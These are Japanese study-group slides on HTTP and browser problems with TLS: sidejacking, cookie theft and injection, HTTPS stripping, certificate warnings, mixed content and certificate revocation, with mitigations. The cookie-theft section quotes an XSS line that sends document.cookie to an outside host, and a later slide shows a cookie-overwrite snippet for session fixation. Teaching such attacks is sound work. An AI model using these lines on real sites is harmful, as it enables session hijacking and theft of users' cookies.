第5章 HTTPおよびブラウザの問題 プロフェッショナルSSL/TLS読書会 2017/8/18(Fri) Shinjiro Urata (@sura)

• 5.1 【済】 • 5.2 【済】 • 5.3 【済】 • 5.4 【済】 • 5.5 【済】 • 5.6 【済】 • 5.7 【済】 • 5.8 【済】 • 5.9 【済】 • 5.10 【中】

• 【確認】サイドジャッキングとは • (暗号化されていないトラフィックから) SessionIDを盗み Webアプリの セッションを横取りする • (似た(?)ワード：サイドチャネル攻撃＝解読時の漏洩電磁波、解読に掛 る時間、圧縮率など暗号自体ではなく間接的な情報を手掛かりにする攻 撃） • httpの場合 => トラフィックを見てSessionIDを見つけるだけ • httpsの場合 =>ミスにつけ込むことが必要 • 設計上のセッション漏れ • パスワード認証時のみhttpsで保護するサイトがある • 認証後はhttpに戻るので、そこで平文のSessionIDを盗める • ミスによるセッション漏れ • サイト全体がhttpsで保護されていても、一部のリソースをhttpで取得 している場合（=mixed contentのケース =>Ch5.8参照） => そのhttpリクエストで転送される平文のクッキーからSessionIDを 盗める (＃SessionIDは多くの場合Cookieに、その他リクエストパス、パラ メータに格納する) • サイト全体をTLSで正しく保護してあれば、上記の攻撃は使えない 5.1 サイドジャッキング

• サイト全体がhttps(tls)で保護してあれば、クッキーは盗まれな い？ • =>攻撃者がhttpsでなくhttpを使わせる手段を見つければクッ キーを盗める • =>事例は次ページ • 対策：httpsで使用するクッキーにはSecure属性を付けること！ • 【確認】 Secure属性とは • Secure属性を付ける => • httpsのリクエストでしか送付されない • httpの場合は送信されない • もう一つの事例：XSS で document.cookieを使用 • (「ブラウザハック」p387より) • 対策：HttpOnly属性を付ける 5.2 クッキー窃取 document.location.href=“browserhacker.com/cookies?c=‘+document.cookie

5.2 クッキー窃取 サーバがhttpsしか受け付 けない場合、 http://xxx:443 でポート443 宛てに平文のリクエスト を送らせ、平文のクッ キーを盗む

• クッキーがSecure属性付きで、のぞき見ができない場合は？ • => 新しいクッキーで上書き、既存のクッキーの削除など可能 • 5.3.1 HTTPクッキーの基礎 • Webサイトに関する小さなデータをブラウザで保持する仕組み 5.3 クッキーを書き換える攻撃 (1)

5.3.1 HTTPクッキーの基礎(つづき) • サーバからのhttpレスポンス内の Set-Cookieヘッダで、クライア ントにクッキーを生成、保存させる • 名前と値の組、存続期間、など • Secure属性：HTTPSの場合のみCookieが送信される • HttpOnly 属性：JavaScriptからCookieを見れなくする • 通常は「document.cookie」で見れる • 参考：プロキシによるHttpOnlyのバイパス（「ブラウザハック」 p388） • ブラウザにXSSでJavaScriptによるプロキシを埋め込む • プロキシにhttp requestを行わせればCookieが付加されるので Cookieを盗み見する必要がない • ブラウザ内のクッキーが保管される場所＝CookieJar • 容量に制限がある 5.3 クッキーを書き換える攻撃 (2) Set-Cookie: SID=31d4d96e407aad42; Domain=www.example.com; Path=/; Secure; HttpOnly Set-Cookie: lang=en-US; Expires=Wed, 09 Jun 2021 10:18:14 GMT

• 5.3.1 HTTPクッキーの基礎 • クッキーの問題点 大きく2点 ①設計上セキュリティを弱める ②SOP（同一生成源ポリシー）と相性が悪い 具体的には。。 • ホスト名のスコープが緩い • プロトコル(http/https)、ポート番号またいで共有 • あるドメイン名の全ホストで共有される 例）example.comのクッキー => ｗww.example.com、secure.example.com でも使われる • =>ゆるい • SOPではオリジン(プロトコル、ドメイン、ポート)毎に区別して管理 • サーバがメタデータをみられない • クッキーの名前とデータしか判らない。自分が発行したクッキーか確認できない • 安全なクッキーにおける同一性の欠如 (http/httpsでクッキーが区別されない) • クッキーはドメイン名で管理。http / https で区別しない。 • Secure属性ありクッキー、なしクッキーどちらも同じドメイン名で保存 • httpsで保存した NAME=tanaka というクッキーを httpで NAME=suzukiで上書き できる 5.3 クッキーを書き換える攻撃 (3)

• 5.3.2 クッキー書換え攻撃 以下の3種類 • ①クッキー排除攻撃(Cookie Eviction) • ブラウザのCookieJarは以下の制限あり • 個々のCookieサイズ、ドメインあたりのCookieサイズ、総サイズ • ダミーの巨大なクッキーを送信 • => Cookie Jarあふれ。既存の他のCookieが消される • ②クッキー注入攻撃 • 攻撃者がCookieを注入。httpsで生成したCookieをhttpで生成した 同名のCookieで上書き • クッキー窃取と同じシナリオ 5.3 クッキーを書き換える攻撃 (4)

• 5.3.2 クッキー書換え攻撃 以下の3種類 • ③親戚サブドメインからのクッキー注入 • 親戚関係のサブドメインではクッキー共有される • 先頭のクッキーになる(するには) • 普通に同名クッキーを注入すると、先頭にならない。同名クッキーが 複数あった場合、先頭しか認識されない • Path属性を付加して、より特定的なクッキーにすると先頭で送信され る • 親戚関係にあるサブドメインをつかってクッキーを上書き • 親戚関係にあるサブドメインをつかってクッキーを捏造 5.3 クッキーを書き換える攻撃 (X) Cookie: SESS_ID=REAL_ID; SESS_ID=FORCED_ID //普通は後ろになる document.cookie = ‘SESS_ID=2ND_FORCED_ID; domain=example.com; path=/admin //path付加 Cookie: SESS_ID=2ND_FORCED_ID; REAL_ID; FORCED_ID //先頭で送付される。

• 5.3.3 影響 クッキー書換攻撃の影響は？ 多くのWebサイトは攻撃者はクッキーを見れない前提で設計 • XSS • クッキー書き換え不可前提で開発=>クッキーを安全でない方法で使用の可能性 • クッキーをそのままHTMLで送信 => クッキーの漏洩がXSS脆弱性につながる • 【TODO：シナリオがよく分からない】 • CSRF対策の迂回 • 「Webページにトークンを埋め込み、クッキー情報と一致するか確認」というCSRF 対策（一般的）=CSRF対策トークン • クッキーが書換られると、トークンと一致しなくなる • アプリケーションの状態の変化 • クッキーを安全なストレージと勘違いしてサイトを開発 • 管理者であれば “admin=1” というクッキーを持つ、とか • クッキーを書きかえられたら、管理者になりすませる • セッション固定化（Session Fixation） • 通常のセッション窃取：他人のSessionIDを盗む • セッション固定化：自分がWeｂサイトにアクセスしてSessionIDを取得。他人に自 分のSessionIDを使わせる • URLにSessionIDを持つサイトなら、URLを踏ませることで可能 • SessionIDをクッキーに持つサイトでも、クッキー書換で可能 • =>犠牲者がログイン後、攻撃者は同じSessionIDで同じセッションにアクセスできる。 5.3 クッキーを書き換える攻撃 (5)

• 5.3.4 緩和策 • サブドメインを網羅したHSTSを採用 • HSTSで全サブドメインの暗号化を強制できる • カバーできない点もある（HSTS未サポートのブラウザなど） • クッキーの完全性検証 • 完全性の検証とは： クライアントから受け取ったCookieが自分の Webサイトで発行したものか確認すること • HMAC(Hash-based message Authentication Code) でできる • 【TODO:事例は？】 5.3 クッキーを書き換える攻撃 (6)

• 【参考】 • Cookie Monster (Cross Domain Cookie Injection) • ブラウザのバグなど(古いIEなど)により、任意のセカンドレベルド メイン(co.jpなど)に対しCookieを発行することで、このセカンドレ ベルドメインを含む攻撃対象サイトに対して強制的にCookieを設定 する攻撃。 • domain=jp //TLDは不可 • Domain=tokyo.jp //古いIEではセカンドレベルはものにより出来た • SESSID=xxxx というcookieを作成 => *.tokyo.jp ドメインに有効 5.3 クッキーを書き換える攻撃 (6)

• 中間者攻撃の一種 • 最初に httpでアクセス、そのあとhttpsに移行する場合が多い。 • ページ内の https を中間者が httpに書き換える • ツール：sslstrip 5.4 HTTPSストリッピング

• HTTPSストリッピングがうまくいかない場合=ユーザーが鍵マーク、緑のEV 証明書マークに気づく場合もある。 =>そのような場合でも可能な攻撃方法は？ • 検証フローの裏をかく • クライアントがクレデンシャルを正しく検証してない場合 =>有効に見える不正な証明書、証明書チェーンを使えてしまう • 不正な証明書 • =クライアントが本物と間違える詐称した証明書。入手には？ • 弱いCA証明書の1024bitの秘密鍵を総当たりで破って作成など • 不正な証明書を失効させられる？ => 事実上難しい【TODO:なぜ？】 • OCSPによる失効確認にMITM攻撃組み合わせ • 多くのブラウザはOCSP失敗を無視する • 自己署名証明書 • 大部分のフィールドを本物からコピーした自己証明書を使用 =>警告でるが、ユーザーの多くは無視してしまう • 【TODO：章タイトルのMITM証明書とは？】 5.5 MITM証明書

不正な証明書が多すぎ、警告が出過ぎる =>不正な証明書のサイト多いがブラウザベンダーは閲覧禁止にしたくない =>ベンダーの方針「警告を表示して、ユーザの判断にまかせる」 • 5.6.1 なぜ不正な証明書がそんなに多いのか • 仮想ホストの設定ミス • 平文(http)のサイトを httpsのサイトと同じIPアドレスで運用してしまう。 =>平文サイトにポート443でアクセスするとhttpsサイトに導かれるが 証明書がホスト名と一致しない • 本来は httpのサイトは、ポート443が閉じたIPアドレスで運用するべき • 名前が全て網羅されていない • 購入、配置した証明書に、必要なホスト名を書きもらしている • www.example.com でホストしているなら、example.com も必要、など • 自己署名証明書とプライベートCA • 一般に公開すべきものではない(MITMで使われる証明書と区別できない) • なぜ利用する人が多い？ • 証明書の購入、設定、更新が大変 • 数年前まで証明書は高価だった • 証明書は無料であるべきと思う人がいて、導入を拒否というケースも 5.6 証明書の警告(1)

• 5.6.1 なぜ不正な証明書がそんなに多いのか（つづき） • アプライアンス製品で使われている証明書 • Webベースの管理コンソールが多い • 出荷時には、利用環境のホスト名、IPは判らない=>証明書入りで出荷 できない • 理想は、エンドユーザが証明書をインストール=>やってられない • 期限切れ証明書 • 不正証明書の57％はこれ。更新忘れ or 更新を諦めたが古い証明書が 残っている • 設定ミス • 証明書チェーンがルート証明書に到達できない • 5.6.2 証明書の警告の効果 • 多くのユーザーはクリックしてやり過ごす • 警告の表示形式によって効果が上がる（FFが最も良く、33%が先に進ま なかった） 5.6 証明書の警告(2)

• 5.6.3 やり過ごせる警告でなく例外を挙げる • FFはやり過ごせる警告を採用してない唯一のブラウザ • 警告でなく例外 => 不正な証明書でも例外的に利用可とする • 以降は警告が表示されない • 利用者が、どの場合例外を認めてもよいか、理解していれば有効 • 自己署名証明書が簡単に利用できてしまう=>一概に悪くはない • 自宅のADSLルータに自己署名証明書を利用、くらいなら問題ない • 5.6.4 緩和策 • 正当な証明書を使用、サーバを万全な状態にすること • HSTSに対応する • HSTSの機能で警告を抑制できる => 警告でなく切断(HardFail) 5.6 証明書の警告(3)

• 南京錠マーク： • 昔はSSLの保護（暗号化されている）を示すことに使われた • 今はより一般的なセキュリティインジケータとして使用され、意味が薄 まった • EV証明書： • 「緑色はEV証明書を表す」は広く一貫して使用される唯一のインジケー タ • モバイルブラウザ： • 画面が狭いのでセキュリティインジケータが省略される場合もある • ネイティブのモバイルアプリ： • そもそも決まったインジケータが無い • 一番の問題＝「ユーザがインジケータを気にしてない」 =>インジケータでなく、表示不可にすればセキュリティ高まる =>ブラウザベンダーはブラウザの評判を落とすのでやりたくない 5.7 セキュリティインジケーター

• TLSは単一の接続を保護する仕組み。 • HTTP(S)では、メインhtmlの他に複数のリソースを読み込む => 複数の接続が発生。保護のためには、すべてをHTTPSで ロードすることが必要。一部 HTTPなら混在コンテンツとなる。 • =>HTTP通信部分から Cookie 流出の可能性（secure属性で対 策可） • 5.8.1 (混在コンテンツが多い)根本的な原因 • パフォーマンス: HTTPSの処理が重い(特に昔は)。リソース取 得に時間がかかるため、サブリソースをHTTPにしがちだった。 • マッシュアップ： 様々な出所のコンテンツを混ぜてリッチなエ クスペリエンスを提供。3rdパーティのJSを多数組み込むことにな り、セキュリティはその3rdパーティにまかせるしかない。 Google AdSenseでさえ、2013/9までは HTTPだった。 • インフラコスト： 高レスポンスのためCDNを利用。仮想ホスト ではHTTPSが利用できない場合が多い。HTTPSの使えるCDNは 限られるのでHTTPになりがち。 5.8 混在コンテンツ (1/3)

• 5.8.2 (混在コンテンツが及ぼす)影響 • 能動的混在コンテンツ： HTML、JSなど • 危険度高い。httpでJSが送付される=>JSファイル書換=>ページ全 体をコントロール • 受動的混在コンテンツ： 画像などリスク低めのリソース • 危険度低いが、画像をスクリプトとして処理する場合がある(コンテ ンツスニッフィング)【TODO：具体的には？】 • 同ホスト名で HTTPのサイトがある場合 => Cookieがさらされる • 5.8.3 ブラウザでの対処 • 近年になってブラウザが混在コンテンツを制限(2015/3時点) 5.8 混在コンテンツ (2/3)

• 5.8.5 混在コンテンツの広がり : たくさんある • 5.8.5 緩和策 サイトを正しく実装すれば問題にならない =>「正しくと」は？ => 「混在コンテンツ状況を発生させない」の意味？ 問題あるサイトでも、以下の方法で対処可能 • HSTS(HTTP Strict Transport Security) • 以下のようなミスがあっても。。 • HTTPSサイトに ポート80でアクセス • HTTPSページに HTTPリンクを配置 =>強制的にHTTPSでリソースを取得させる。 #（サブリソース取得先が）外部サイトだとカバーできない • CSP(Content Security Policy) • コンテンツのロード先を制限できる • Content-Security-Policy: default-src https: => サブリソースのロードを先を https のホストに限る 5.8 混在コンテンツ (3/3)

• CA/Browser Forumが規定。EV = Extended Validation • 個人は取得不可 • DV証明書＝メールによる検証のみ • 利点 • ドメイン所有者の本人性確認、識別子が証明書にエンコードされ る • 検証手順が手動のため証明書の捏造が困難 • ただし。。 • 普通のユーザはインジケーターがEV証明書かDV証明書か気づい てない • 詐称されたDV証明書による攻撃の場合、ユーザが、「いつもEV 証明書なのにDVになっている」と気づくことが必要 5.9 EV証明書 (1/2)

• EV証明書を持つサイトでも、サブリソースがDV証明書の場合も ある。=>詐称されたDV証明書が利用される余地あり • シナリオ • 他ドメイン名のサイトのリソースを利用：EVサイトの内でDVの 外部ホストのリソースを利用（普通にある）詐称したDV証明書に より横取りできる • クッキー泥棒：詐称したDV証明書でメインのドメイン名への接続 を横取り、既存のクッキーを盗む、クッキーを書き変えてしまう 【TODO:確認】 • 永続的マルウェア注入：キャッシュの利用を強要（リソースの更 新無しとしてブラウザをだます）、注入されたマルウェアがブラ ウザのファイルキャッシュに残り長時間影響を与える【TODO： 確認】 5.9 EV証明書(2/2)

【概要】 • 理想的には、httpsを利用する度に 証明書の失効を確認したい =>そうはなっていない • 失効機能の実現方法 • CRL • OCSP • 一般的に失効の仕組み(CRL、OCSP)はうまく機能しないとみなされ ている(p75) • 失効情報の波及に時間がかかる • ブラウザのSoft Fail ポリシー(失効情報が取得に失敗 =>証明書有効の 扱い) • 今のブラウザの主流(p76)： • Google(CRLSets)、Mozilla(OneCRL)等の自前の仕組みで失効確認 • それ以外は失効確認なしで済ませる (CRL, OCSPの使用は部分的) • 今後 • 「CRLSets、OneCRLのような仕組み」+「OCSP Must-Staple(後述)」 である程度セキュリティが確保されるのでは 5.10 証明書の失効 (1)

• 5.10.1 クライアントの対応が不十分 • 各ブラウザがどんなタイミングで失効確認しているか不明 • ドキュメント化されてない。実験してみないと判らない • 多くのブラウザでCRLが使われて無かった(確認するまで判らなかっ た) • ブラウザ以外では、多くのライブラリがデフォルトでは失効確認 しない • 2011年のCA証明書危殆化の時 • => 失効の唯一の確実な手段＝ブラックリストだった • CRL、OCSPでは確実ではない。 • Chrome, FF, MSもブラックリストの更新で対応した 5.10 証明書の失効 (2)

• 5.10.2 失効確認の標準化に伴う主な問題 • CRL、OCSPには設計上の問題点がある • 証明書と問い合わせの分断 • 特殊なシリアル番号で証明書を参照 • シリアル番号はCAが勝手に決める • => シリアル番号で証明書が一意に決まらない可能性あり • ホワイトリストでなくブラックリスト • ブラックリスト：失効したか確認。確認失敗なら有効と同じ扱い • ホワイトリスト：有効な証明書か確認。確認失敗なら失効扱い =>情報がなければ有効と判断されてしまう =>Diginotar：不正な証明書の記録がなかった=> 失効できなかった =>ルート証明書がブラウザから削除 • プライバシー • 失効情報をCAから取得 = 自分が閲覧しているサイトをCAに知らせ ることになる • ＝＞OCSPステープリングの導入で対応すべき 5.10 証明書の失効(3)

• 5.10.3 CRL (Certificate Revocation List) 失効した証明書のリストをDLできる。DL先は証明書内に記載。 =>インターネット初期はこれでも使えた =>CRLが大きくなるとDL、検索時間がかかる =>リアルタイム確認用にOCSPが作られた 5.10 証明書の失効(4)

• 5.10.3 CRL (Certificate Revocation List) CRLの長さに伴う問題 • 時間がたつとCRLが大きくなる。時間がかかる。パケットを消費。 • クライアントにおけるCRLの対応 • 「CRLがクライアントで十分サポート=未だかつてない」 • ChromeはEV証明書の場合OCSPで確認できなかったらCRL参照 • FFは、今はEV証明書でもCRLを見ない。 • CRLの新鮮さ • CRLが長期にわたって新鮮(=有効)と扱われる 5.10 証明書の失効(5)

• 5.10.4 OCSP • 【確認】OCSP とは： • 証明書の失効をサーバに確認 • CRLのような大きなファイルでなく、 知りたい証明書の失効情報だけで軽量 • シリアル番号で問い合わせ • レスポンダの場所＝証明書内に記載 5.10 証明書の失効(6) ※図表お借りしました： https://www.ipa.go.jp/security/pki/043.html

• 5.10.4 OCSP • 【確認】 OCSP の問題点： • レスポンダが遅いとWeb表示が遅くなる。(高レスポンスのレスポンダを世界中に配 置するのはCAにとって高コスト) • レスポンダが落ちると失効証明書でも有効扱い(SoftFailの場合) • レスポンダが落ちるとWebページ閲覧できない(HardFailの場合) • レスポンダへのリクエストから、自分が閲覧するWebページの情報が漏れる =>対策として、OCSP ステープリング • 【確認】OCSP ステープリングとは： • 各Webサーバが OCSPリクエストして、レスポンスをキャッシュしておく • ブラウザからのhttpsリクエストに対して、Webサーバはサーバ証明書にOCSPレス ポンスを合わせて送り返す 5.10 証明書の失効(7)

• 5.10.4 OCSP • 【確認】 OCSP ステープリングの問題点： • ステープルされたOCSP情報がなくてもWebページ閲覧できる（SoftFailの場合） • TODO:追加 =>対策として、OCSP Must-Staple • 【確認】OCSP Must-Stapleとは： • OCSPステープリングを必須にする。実現方式の案は２つ： • A)新しいTLS拡張機能を利用 • B)WebサイトがHTTPレスポンスヘッダでOCSPステープリング必須であることを告知 • Firefox45で実装された（A案） http://mozsec-jp.hatenablog.jp/entry/2015/11/24/171255 • TLS拡張（rfc7633）を利用 • CAが証明書に拡張機能を追加しておく • 証明書にこの拡張があったらブラウザは、TLSハンドシェイク内にOCSPレスポンスがある か確認 • なければ通信を遮断してエラー表示（ハードフェイル） 5.10 証明書の失効(8)

• 5.10.4 OCSP OCSPの課題 • OCSPリプレイ攻撃 • オリジナルのOCSPはワンタイムトークン(ナンス)を使用しており、 リプレイ攻撃に脆弱ではない • 「軽量OCSPプロファイル」ではナンスなし、OCSPをキャッシュし て使いまわす => リプレイに脆弱 • 今では、クライアントはナンスを使おうとせず、サーバーもナンス が付加されていても無視 • リプレイには有効期限で対抗するしかない。=>有効期限内ならリプ レイ攻撃に利用できてしまう。 • OCSPレスポンスの隠蔽 • ブラウザはOCSPが失敗したら無視して処理を続行する • 攻撃者はOCSPリクエストを全部強制的に失敗させる => 無効な証 明書でも、ブラウザは有効なものとして扱う 5.10 証明書の失効(9)

• 5.10.4 OCSP • クライアントにおけるOCSP対応 • 古いブラウザはOCSP不使用 or デフォルト不使用 • モダンブラウザは？ • iOS：EV証明書にしか使わない • Chrome：2012年にOCSP利用を打ち切り • CRLSetsという軽量の仕組みに切り替え。 • CRLSetsとは：各認証局のCRLをまとめて軽量化した情報を Googleからプッシュする。ローカル確認できるので高速。 ただし、一部の重要な失効情報しか扱わない。 • Mozilla：OneCRLという仕組みを導入(CRLSetsと類似) OneCRLの記事：https://japan.zdnet.com/article/35052149/ • 大部分のブラウザはOCSPを試しても、成功した場合は正しく対応 するが、失敗したら無視する（ソフトフェイル） 5.10 証明書の失効(10)

• 5.10.4 OCSP • レスポンダの可用性とパフォーマンス OCSP初期の不具合のためブラウザベンダはソフトフェイルにし た。ハードフェイルにしてブラウザの評判を下げたくない 問題点は： • 可用性 • CAのOCSPレスポンダが落ちると、Webサイトのパフォーマンスが落 ちる。ハードフェイルならサイトを閲覧できなくなる • パフォーマンス • ブラウザの負担が大きい。レスポンダが遅いとWeb接続に時間がかか る。 • 高パフォーマンスのOCSPレスポンダ＝世界中にネットワークが必要 • 正確性 • CAがOCSPレスポンダの失効情報を正しくメンテしてない場合がある • =>OCSPについては OCSPステープリングの普及が、 ありうる改善の方向 5.10 証明書の失効(11)

• 5.10.4 OCSP • OCSPステープリングを必須にする OCSP Must-Staple • OCSP Must-Stapleとは： • OCSPステープリングが必須になる=> • 証明書の盗用 = 攻撃者が、証明書を有効なOCSPレスポンスと一緒に 配布できることが必要 => OCSPレスポンスは有効期間が短い • OCSP Must-Stapleの実現方法は？ • ①OCSPレスポンスと同時配布用の新しいタイプの証明書を定義 • ②WebサイトがHTTPレスポンスヘッダで、OCSPステープリングが必 要だと告知する => これはHSTSの拡張として定義するのがよさそうと考えられてい る 5.10 証明書の失効(12)

No content

No content

色例 • 企画ポイントやアピールポイントを入力しましょう • 企画アピールポイントを入力しましょう • 企画アピールポイントを入力しましょう 要約まとめを入力しましょう